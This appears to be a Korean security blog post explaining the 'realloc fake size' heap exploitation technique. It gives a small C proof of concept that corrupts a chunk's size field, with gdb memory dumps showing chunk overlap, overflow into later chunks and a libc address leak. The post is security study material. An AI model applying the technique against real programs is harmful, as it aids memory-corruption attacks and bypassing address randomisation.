realloc fake size
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int main(){
char \*a = malloc(0x8);
char \*b = malloc(0x8);
char \*c = malloc(0x40);
char \*topguard = malloc(0x8);
// modify b.size
\*(b-0x4) = 0x59;
realloc(b, 0x8);
return 0;
}
trigger & overlap
chunk a
에서 off-by-one overflow가 발생해 b.size
를 수정할 수 있는 상황이라면 이를 이용해 chunk overlap할 수 있으며, 이는 b
chunk의 overflow, libc_base leak으로 연계할 수 있다.
1
2
3
4
5
gdb-peda$ x/32wx 0x56558000
0x56558000: 0x00000000 0x00000011 0x00000000 0x00000000 // chunk a
0x56558010: 0x00000000 0x00000011 0x00000000 0x00000000 // chunk b
0x56558020: 0x00000000 0x00000049 0x00000000 0x00000000 // chunk c
0x56558030: 0x00000000 0x00000000 0x00000000 0x00000000
[realloc] invalid next size 는 off-by-one overflow로 b.size
를 수정할 때만 고려해주면 된다. 이후에는 별다른 체크가 없다. 체크를 피하기 위해 next_chunk.size
가 위치한 곳으로 맞춰주는 것이 좋으나, 여의치 않으면 그냥 chunk c
에 fake size를 하나 만들어도 된다.
1
2
3
4
5
6
7
8
gdb-peda$ x/32wx 0x56558000
0x56558000: 0x00000000 0x00000011 0x00000000 0x00000000
0x56558010: 0x00000000 0x00000059 0x00000000 0x00000000
0x56558020: 0x00000000 0x00000049 0x00000000 0x00000000
0x56558030: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558040: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558050: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558060: 0x00000000 0x00000000 0x00000000 0x00000011
overflow
size
보다 작은 요청에 대해서는 chunk 이동이 일어나지 않기 때문에 size
가 크게 변경된 상태라면, chunk 이동 없이 overflow를 일으켜 이후에 있는 chunk들을 overwrite할 수 있다. Note )realloc(b, size)
에 어떤 size를 넣든,[realloc] invalid next size 안걸린다. ( 사실 생각해보면 걸리면 안된다. )
shrink → get libc_base → leak
realloc(b, 0x8)
하는 경우 : shrink를 유발해 get libc_base → leak
1
2
3
4
5
6
7
8
gdb-peda$ x/32wx 0x56558000
0x56558000: 0x00000000 0x00000011 0x00000000 0x00000000
0x56558010: 0x00000000 0x00000011 0x00000000 0x00000000
0x56558020: 0x00000000 0x00000049 0xf7fad7b0 0xf7fad7b0
0x56558030: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558040: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558050: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558060: 0x00000000 0x00000000 0x00000048 0x00000010
This post is licensed under CC BY 4.0 by the author.